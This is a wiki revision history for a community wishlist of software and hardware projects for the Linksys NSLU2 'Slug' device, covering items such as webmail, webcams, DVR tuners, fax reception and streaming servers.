  • Security Monitoring via Webcam use the slug to notify you of important events based on Webcam images and video. For example using zoneminder application (www.zoneminder.com). Is the Slug capable of this task?
June 13, 2006, at 12:31 PM by Szafran --
Added lines 117-118:
  • WINS Server: Add a WINS server so the windows based LAN can work/initialize much faster.
June 05, 2006, at 12:58 AM by Daniel -- PocketPC or Palm support
Changed lines 24-25 from:
to:
  • Support for Palm or PocketPC? devices as NSLU2 screen: I have a couple of old Palm-based devices (Clie and Visor) as well as an old PPC-e310 that are not that useful as PDA's. However all of them have LCD's and USB connections that can be leveraged to become an IO device for the slug. PPC support is available for linux trough the SynCE? project. I'll start doing some experiments and let you know.
May 17, 2006, at 06:32 PM by ede -- wish of scheduled start
Changed lines 51-54 from:
to:
  • Scheduled Start Start the Slug by time or perhaps some sort of "power loss restard function"
May 13, 2006, at 10:31 AM by Steve G -- Reversed a minor accident
Changed line 101 from:
  • Photo-Server: Add a web based photo album program that creates s of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
to:
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
May 13, 2006, at 10:28 AM by Steve G -- Added notes about WGET & Squirrlemail
Changed lines 99-102 from:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name
  • Photo-Server: Add a web based photo album program that creates thumbnails of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
    • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating thumbnails on the fly is *slow*.
to:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name Squirrelmail works fine on my Slug (Unslung 6.8). As long as your web server supports PHP (4 or 5) it should just work. As it's PHP it does not need an ipkg
  • Photo-Server: Add a web based photo album program that creates s of photos on the fly in a particular directory of images for certain users and if the user clicked on the photo it would enlarge to it's full size, so photos can be presented in a much nicer fashion. It would be cool if there was a skins option to change the look of the photo album and an option to create your own custom skin too.
    • vitroth: I've done this, by installing AxKit and AxKit::App::Gallery. Unsuprisingly generating s on the fly is *slow*.
Changed lines 139-140 from:
  • WGET - For UNSLUNG 6.x. Need it for DynDNS updating... Only see it listed now for OpenSlug!! Lost it in Upgrade from Unslung 5.5! :(
to:
  • WGET - For UNSLUNG 6.x. Need it for DynDNS updating... Only see it listed now for OpenSlug!! Lost it in Upgrade from Unslung 5.5! :( Use WGET-SSL - it provides a newer WGET that does everything the old one didi (AFAIK) plus HTTPS
May 11, 2006, at 07:35 AM by Prometeux -- torrent client
Added lines 187-188:
  • I,m running torrentflux on debianslug and it makes all you need and it's coolest web client for bittorrent ( in my opinion :P )
May 10, 2006, at 11:38 PM by Mo --
Added lines 139-140:
  • WGET - For UNSLUNG 6.x. Need it for DynDNS updating... Only see it listed now for OpenSlug!! Lost it in Upgrade from Unslung 5.5! :(
May 01, 2006, at 11:33 AM by Ian Gardner -- Moved network camera to other projects
Changed lines 51-52 from:
  • Network Camera: Use the Slug connected to a cheap consumer digicam to provide streaming at say 640x480 with the ability to snapshot at say 2MP resolution for quality motion detection or webcam apps.
to:
Changed lines 147-149 from:
to:
  • IP Network Camera: Use the Slug connected to a cheap consumer digicam to provide network streaming at say 640x480 with the ability to snapshot at 2MP resolution for quality motion detection or other timelapse apps. Webcams don't appear to offer the quality/resolution to date and most have cheap 640x480 CMOS sensors. Aviosys do an embedded linux device but max resolution is 640x480.
May 01, 2006, at 11:27 AM by Ian Gardner -- Added Network Camera idea to wishlist
Changed lines 51-52 from:
to:
  • Network Camera: Use the Slug connected to a cheap consumer digicam to provide streaming at say 640x480 with the ability to snapshot at say 2MP resolution for quality motion detection or webcam apps.
May 01, 2006, at 07:31 AM by me -- PDA
Added lines 200-201:
  • PDA? - Make a cheap PDA based on NSLU2
April 29, 2006, at 10:01 PM by mas -- spellerror
Changed lines 47-48 from:
It requires losetup, which neither busybox nor another package doesnt includes howerver. And also the kernel needs to include ciphers like AES then. Does it?
to:
It requires losetup, which neither busybox nor another package includes however. And also the kernel needs to include ciphers like AES then. Does it?
April 29, 2006, at 09:59 PM by mas -- encryption needs losetup and ciphers
Changed lines 47-48 from:
to:
It requires losetup, which neither busybox nor another package doesnt includes howerver. And also the kernel needs to include ciphers like AES then. Does it?
April 29, 2006, at 06:08 AM by Protech --
Added lines 136-137:
  • NDAS netdisk driver - XIMETA NetDISK? driver for unslung.
April 24, 2006, at 06:43 PM by mwester -- Remove gratuitous (and unwelcome) profanity.
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.16 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.16 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932.
April 21, 2006, at 03:47 PM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.16 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
April 21, 2006, at 12:38 PM by thoriks --
Changed lines 128-129 from:
  • FreeRadius - Freeradius server on openslug (Unslung Optware package already available).
to:
  • FreeRadius - Freeradius server on openslug (Unslung Optware package already available).
  • FreeRadius - Freeradius server compiled with "with-experimental-modules", supporting the Chillispot.
April 18, 2006, at 03:38 AM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
April 18, 2006, at 03:37 AM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
April 18, 2006, at 03:36 AM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5 USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
April 18, 2006, at 03:25 AM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums @
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums thread #621932 (I give up trying to the fucking link into the wiki).
April 18, 2006, at 03:20 AM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS Forums @
April 18, 2006, at 03:18 AM by ironstorm --
Changed lines 56-57 from:

It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.

to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.
April 18, 2006, at 03:18 AM by ironstorm -- re-added Fusion HD Tuner comment
Changed lines 56-57 from:
to:

It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.

April 18, 2006, at 03:15 AM by ironstorm --
Added line 56:
April 16, 2006, at 02:26 AM by mwester -- Restored missing text
Deleted lines 55-56:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS thread: http://www.avsforum.com/avs-vb/showthread.php?t=621932
Changed lines 108-192 from:
  • BootP Server: Add a BootP se
to:
  • BootP Server: Add a BootP server so diskless workstations can boot off the NSLU2 over a LAN.
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
  • Ion3: Lightweight X11 window manager ion
  • VNCServer: This is so that the client side does not have to be a X11 server.
  • PsyBNC - Better IRC bouncer than MIAU.
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (Postscript and non-postscript)
  • CanonAllInOne: Driver that supports printing and scanning with a Canon All-In_one printer like the Pixma MP760?.
  • DVarchive:DVarchive is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! See www.dvarchive.org - kitty
  • Syslog-NG - For storing syslog messages in a mysql database (done nslu2 syslog-ng
  • FreeRadius - Freeradius server on openslug (Unslung Optware package already available).
  • IPX - FULL IPX support, including SAMBA file and print.
  • InfoZip - The widley ported Zip utiltiy (compatible with the current unzip on unslung).

Other Projects

  • Car Computer - Mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....

Update: there will be a howto soon for this project.

  • Fax receiver - use the slug to control an incoming PSTN line and save faxes to images stored on the slug for later viewing. Optionally allow such images to be emailed to one/several people with relevant metadata (such as the CLI of the calling number).
I already got this running. I took the sources for mgetty from its homepage, compiled it on the slug, with editing the policy.h to my and the slugs requirements, and started it from a startscript in ..etc/init.d. It works great. With the script-features of mgetty you can trigger any action you like after the fax-reception. In my case this is a conversion to bitmap, so that it can easily be viewed with Windows and changing a bitmap on my homepage to show that new faxes are available.

Fulfilled Wishes

These are the items requested that now exist.

  • Dovecot - An alternative secure IMAP & POP3 server
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it.
wakelan package has been added to OpenSlug
  • Shoutcast:A shoutcast server so I can listen to MP3s away from home and share with pals.
Shoutcast cannot be used on the slug, as it is binary only. I have added icecast to the feed, which should work equally -> well.
For basic streaming, Litestream also compiles fine and is far smaller than icecast (make sure you use the 1.3RC3 release not the 1.2)
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
This has been added to OpenSlug, and is confirmed working
  • SNMP:simple network management protocol reporting would be EXCELLENT
  • Webcam Support: SPCA5XX, SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a locally connected disk.
    • I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while using Bittorrent while still allowing others in the house to use HTTP.
    • Try the Traffic Shaping How to.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a set top box, can store MP3 files and select/play them using your remote control and tele. Puppy, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
  • BitTorrent Client: A Bittorrent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP. Package exists for Unslung, see: MySQL
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
  • Bluetooth PAN access point?: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
  • WAP Gateway: Add a WAP gateway package so that you can get internet access on cell phones and other devices through your broadband connection without paying additional money to your cellular service provider.
Creating the equivelent of a WAP gateway is easiest using Bluetooth phone. See previous wish Bluetooth PAN access point?.
  • VOIP: Add a USB Bluetooth dongle, a Bluetooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
  • SIP Server - Ever wished for your own VoIP PBX at home? - Look here. I would really like to have SER running on my Slug. SIP Express Router (ser) is a high-performance, configurable, free SIP (RFC3261) server. It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Print Server: HowToAddPrinter - CUPS is now ready for testing and Linksys Samba integration is described on the wiki page - specifically how to add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available.
April 08, 2006, at 05:55 PM by ironstorm --
Changed lines 56-57 from:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.
to:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases. Read about success with this tuner on Linux on this AVS thread: http://www.avsforum.com/avs-vb/showthread.php?t=621932
Changed lines 110-168 from:
  • BootP Server: Add a BootP server so diskless workstations can boot off the NSLU2 over a LAN.
  • WebDAV: I would love to have a webdav folder to sync my iCal (or SunBird) - Even better if it could be backupped by subversion (http://blog.murf.org/archives/000513.html)
  • Ion3: Lightweight X11 window manager ion
  • VNCServer: This is so that the client side does not have to be a X11 server.
  • PsyBNC - Better IRC bouncer than MIAU.
  • HPOJ driver: Printer (and scanner) driver for most if not all HP All-in-one printers (http://hpoj.sourceforge.net/). ESP Ghostscript is great idea, too since it supports almost every printer (Postscript and non-postscript)
  • CanonAllInOne: Driver that supports printing and scanning with a Canon All-In_one printer like the Pixma MP760?.
  • DVarchive:DVarchive is written in Java - this would require Java version 1.4.2 to be compiled for the slug. I don't know if thst is possible but it would be great! See www.dvarchive.org - kitty
  • Syslog-NG - For storing syslog messages in a mysql database (done nslu2 syslog-ng
  • FreeRadius - Freeradius server on openslug (Unslung Optware package already available).
  • IPX - FULL IPX support, including SAMBA file and print.
  • InfoZip - The widley ported Zip utiltiy (compatible with the current unzip on unslung).

Other Projects

  • Car Computer - Mount the Slug in your car. opens some other possibilities, mp3's with USB card as mentioned before, GPS, monitoring/logging ECU, bluetooth car kit....

Update: there will be a howto soon for this project.

  • Fax receiver - use the slug to control an incoming PSTN line and save faxes to images stored on the slug for later viewing. Optionally allow such images to be emailed to one/several people with relevant metadata (such as the CLI of the calling number).
I already got this running. I took the sources for mgetty from its homepage, compiled it on the slug, with editing the policy.h to my and the slugs requirements, and started it from a startscript in ..etc/init.d. It works great. With the script-features of mgetty you can trigger any action you like after the fax-reception. In my case this is a conversion to bitmap, so that it can easily be viewed with Windows and changing a bitmap on my homepage to show that new faxes are available.

Fulfilled Wishes

These are the items requested that now exist.

  • Dovecot - An alternative secure IMAP & POP3 server
  • Wake On Lan (WOL): so I can ssh to my box and wake any machine on my network to access it.
wakelan package has been added to OpenSlug
  • Shoutcast:A shoutcast server so I can listen to MP3s away from home and share with pals.
Shoutcast cannot be used on the slug, as it is binary only. I have added icecast to the feed, which should work equally -> well.
For basic streaming, Litestream also compiles fine and is far smaller than icecast (make sure you use the 1.3RC3 release not the 1.2)
  • OpenVPN client/server - Some comments indicate this needs tun support in the kernel
This has been added to OpenSlug, and is confirmed working
  • SNMP:simple network management protocol reporting would be EXCELLENT
  • Webcam Support: SPCA5XX, SAA8115HL, SAA811HL, OV511 OV511+ CCD chipset support to add a webcam!
  • iSCSI target: An iSCSI target implemention, ARDIS Tech iSCSI target and / or iSCSI Enterprise Target. iSCSI - for the non-initiated, exports LUNs to hosts via a TCP/IP network. Software initators are available for most operation systems including Linux and Windows. Enables you to see a target disk as a locally connected disk.
    • I have made a package vblade which will convert a seekable file (including a partition) to an aoe (ata over ethernet) drive. It's not iscsi but has the same function.
  • Simple QoS: My Linksys router can't / hasn't been hacked
to:
  • BootP Server: Add a BootP se
April 08, 2006, at 05:51 PM by ironstorm -- added comment about FusionHDTV5 USB Gold
Added lines 56-57:
  • It would seem the best hope to accomplish this would be using the FusionHDTV5? USB Gold, which as of Linux 2.6.17 has drivers in the main kernel releases.
Changed lines 168-194 from:
  • Simple QoS: My Linksys router can't / hasn't been hacked (WAG54G) but some form of QoS so that I can use the slug as a gateway and it'll forward packets onwards, QoS'd, so that I can play Quake online while using Bittorrent while still allowing others in the house to use HTTP.
    • Try the Traffic Shaping How to.
  • Topfield PVR and mt-daapd: The Topfield PVR, while primarily a set top box, can store MP3 files and select/play them using your remote control and tele. Puppy, allows Ethernet connectivity to the Topfield PVR using the slug. Mt-daapd describes using the slug as an iTunes server using mt-daapd . See also http://www.fibiger.org/musicserver/nslu2-mtdaapd-howto.html.
If mt-daapd could use puppy to produce the MP3 database at the slug and also load the file to be played from the PVR, that would be good. Couple of problems: the Topfield PVR doesn't allow direct access to its filesystem i.e. its hdd can't be mounted - hence the need for puppy. Also puppy currently doesn't allow wild cards transactions to the PVR file system.
  • BitTorrent Client: A Bittorrent client, that can process RSS feeds with torrents. Search for specific keywords in the torrent. And then downloads the correct torrent (like RSS feeds plugin for Azureus).
  • MySQL server: Useful for anything which requires a database. This would be a must for the ports of appWeb/PHP. Package exists for Unslung, see: MySQL
  • Email-Server: Add a mail server to the box so it polls the POP/IMAP-Servers frequently and can be accessed from every computer within the network to download the mails locally (e.g. as IMAP-server) [some done: xmail, postfix, fetchmail, cyrus-imapd, bogofilter, perl-spamassassin]
  • Bluetooth PAN access point?: Add a Bluetooth dongle and make the slug to route the wireless traffic to the ethernet.
  • WAP Gateway: Add a WAP gateway package so that you can get internet access on cell phones and other devices through your broadband connection without paying additional money to your cellular service provider.
Creating the equivelent of a WAP gateway is easiest using Bluetooth phone. See previous wish Bluetooth PAN access point?.
  • VOIP: Add a USB Bluetooth dongle, a Bluetooth headset, and USB keypad e.g. laptop numeric keypad to turn your slug into a phone.
  • SIP Server - Ever wished for your own VoIP PBX at home? - Look here. I would really like to have SER running on my Slug. SIP Express Router (ser) is a high-performance, configurable, free SIP (RFC3261) server. It can act as SIP registrar, proxy or redirect server. SER features an application-server interface, presence support, SMS gateway, SIMPLE2Jabber gateway, RADIUS/syslog accounting and authorization, server status monitoring, FCP security, etc. Web-based user provisioning, serweb, available. Its performance allows it to deal with operational burdens, such as broken network components, attacks, power-up reboots and rapidly growing user population. SER's configuration ability meets needs of a whole range of scenarios including small-office use, enterprise PBX replacements and carrier services.
  • Print Server: HowToAddPrinter - CUPS is now ready for testing and Linksys Samba integration is described on the wiki page - specifically how to add a USB printer and be able to print to it over the network. There's some evidence in the Flash configuration partition that Linksys did some work on this, probably via Samba.
  • Dynamic IP Publishing - Provide a NSLU2 program which will determine the dynamic IP address of the local router and have NSLU2 post the address to an external website/location when it changes so access to the NSLU2, as well as other devices/computers on your local net, is always available.
to:
  • Simple QoS: My Linksys router can't / hasn't been hacked
April 04, 2006, at 09:24 AM by gmaier -- FAX can already be done
Changed lines 138-139 from:
to:
I already got this running. I took the sources for mgetty from its homepage, compiled it on the slug, with editing the policy.h to my and the slugs requirements, and started it from a startscript in ..etc/init.d. It works great. With the script-features of mgetty you can trigger any action you like after the fax-reception. In my case this is a conversion to bitmap, so that it can easily be viewed with Windows and changing a bitmap on my homepage to show that new faxes are available.
March 21, 2006, at 05:24 PM by jpg --
Changed lines 80-81 from:
to:
  • RealPlayer?: or at least some way of reading & playing realaudio streams. HelixPlayer? looks like the best bet, but needs the build adjusted for a slug, and needs confirmation it can be built with no UI.
March 13, 2006, at 03:03 PM by Mibo --
Added lines 82-83:
  • GNU Alive: An autologin & Keep-Alive Daemon for various WAN/LAN/ADSL connections provided by several (mainly Swedish) ISPs?.
March 10, 2006, at 06:34 PM by xbox --
Added lines 25-27:
  • XISO_EXTRACT: Port of this XBOX ISO utility will be very useful, since it seems impossible to mount XISO file as loop device at the moment for NSLU2. Source code for Linux is available here:

http://sourceforge.net/projects/extract-xiso

February 14, 2006, at 06:36 AM by aprodan --
Changed lines 65-66 from:
Skype does run on ARM but requirements 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
to:
Skype does run on ARM but requires 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
February 14, 2006, at 06:34 AM by aprodan --
Changed lines 65-66 from:
Skype runs on ARM but requirements for Linux are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
to:
Skype does run on ARM but requirements 316 MHz? processor for Linux requiremnt are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
February 14, 2006, at 06:18 AM by aprodan --
Changed lines 63-66 from:
SkyDapter? Digicom 8E4251 is a very interesting device: a USB Skype client which transform your PSTN line into PSTN+Skype line! -- loreco_at_inwind_dot_it
'''Skype requirements for Linux are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com
to:
SkyDapter? Digicom 8E4251 is a very interesting device: a USB Skype client which transform your PSTN line into PSTN+Skype line! -- loreco_at_inwind_dot_it''
Skype runs on ARM but requirements for Linux are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com''
February 14, 2006, at 06:16 AM by aprodan --
Added lines 65-66:
'''Skype requirements for Linux are 400MHz processor and 128 Mb of RAM...! -- anteprodan^dot^ hot^mail^com
February 05, 2006, at 06:12 PM by repvik -- Removed crud.
Deleted lines 15-16:
  • Little Endian mode: Now that v1.5 of the NPE driver and access library has been released along with little endian mode support, it is possible to switch the NSLU2 over. See Info.EndianNess.
Deleted lines 31-32:
  • Add volume label to disk drive: So Norton Ghost (DOS) will work correctly for doing image backups to the NSLU2. (Comment: Volume labels are not essential for the DOS version of Norton Ghost; the problem is actually a Samba bug and is fixed in the later Samba versions, including the native Samba in the R63 firmware from Linksys.)
Deleted lines 33-34:
  • Defrag: Does such a beast exist for ext3? If so, I want it :) (Comment: why? ext3 isn't prone to fragmentation - or is it?) (Comment-to-comment: IIRC, ext3 only gets fragmented when nearly full. It doesn't automatically defragment when this has happened. So if your disk runs full often, it might be nice.)
Deleted line 34:
Deleted lines 50-55:
  • Music Player: Add a USB sound card and something like mpd. LIRC would be nice too. And a LCD screen -- hanging off the internal serial port, perhaps? [getting there: see SlugAsAudioPlayer]
  • madplay: For Asterisk Music On Hold
  • DVR: Add a USB MPEG2/4 hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) or other applications, like IP Camera. (ADSTech's Instant DVD 2.0 has audio/video in/out, for example.)(Plextor's ConvertX? supports MPEG4? as well, is Wischip based so a Linux source of the capture program is available)
Deleted lines 56-57:
  • Scanner Server: Add a USB scanner and be able to share it over the network via saned. (done: saned available as openslug package)
Deleted lines 82-83:
  • Subversion Server: Port the standard subversion server (subversion.tigris.org). (Comment: Already done. Package svn exists and is running perfectly.) (Maybe in unslung, but not OpenSlug. Subversion package exists in HEAD, but compiled result gives error when importing or when loading a backup)
January 27, 2006, at 12:38 PM by cz --
Changed lines 28-29 from:
to:
* Alternative: Rig/deploy NSLU2s? as Environmental Sentries, monitoring (somehow) UPSs?, temp, humidity in remote locations.
January 06, 2006, at 02:16 PM by chriwi --
Changed lines 105-108 from:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up).

comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name

to:
  • Webmail (Squirrelmail): In addition to an IMAP mailserver, webmail would be a really handy additional so when no connection from within a dedicated mailclient is possible, webmail is a good alternative. (I will have a go at this myself, although I have 0 experience in setting it up). comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name
January 06, 2006, at 02:06 PM by chriwi -- webmailer
Changed lines 106-108 from:
to:

comment: I sepent some time to get "popper" a free php webmailer using PHP and MYSQL running on my unslung NSLU2 at least the POP3? (works fine with X-mail on the Slug and multiple external POP3?-accounts) and the mailreader are working reasonably well (sendmail is less important for me) I did not finish the project, but I am using popper everyday to read mails on my diskless knoppix-notebook. Questions mailto: chriwi@chriwi.name

January 01, 2006, at 05:33 PM by ahagge -- Add more to HD-DVR
Changed lines 64-65 from:
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB might be a good starting point. Eventual "holy grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
to:
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB or VBox? Communication's Catís Eye USB 3560 might be a good starting point. Support would likely be through the LinuxTV project and the 2.6 kernels. Eventual "Holy Grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
January 01, 2006, at 05:24 PM by ahagge -- Add HD-DVR
Added lines 64-65:
  • HD-DVR: Add a USB DVB/ATSC hardware encoder/decoder to utilize the slug as a Digital Video Recorder (DVR) for HDTV. Broadband Technologies Inc.'s Air2PC ATSC USB or SkyStar USB might be a good starting point. Eventual "holy grail" would be to use Slug as a MythTV backend for cheap/ultra-quiet recording & media serving.
January 01, 2006, at 04:56 PM by Chacko -- Adding InfoZip to wishlist
Added lines 137-138:
  • InfoZip - The widley ported Zip utiltiy (compatible with the current unzip on unslung).
December 27, 2005, at 09:49 AM by kamcgough -- update wish list with project
Changed lines 139-140 from:
to:

Update: there will be a howto soon for this project.

December 22, 2005, at 06:01 PM by ioc2k --
Added line 155:
December 22, 2005, at 05:59 PM by ioc2k -- Litestream
Changed lines 155-156 from:
to:
For basic streaming, Litestream also compiles fine and is far smaller than icecast (make sure you use the 1.3RC3 release not the 1.2)
December 17, 2005, at 02:54 PM by Michael --
Added lines 127-128:
  • CanonAllInOne: Driver that supports printing and scanning with a Canon All-In_one printer like the Pixma MP760?.
December 13, 2005, at 09:31 AM by lorecoinwindit -- SkyDapter
Added lines 76-77:
SkyDapter? Digicom 8E4251 is a very interesting device: a USB Skype client which transform your PSTN line into PSTN+Skype line! -- loreco_at_inwind_dot_it
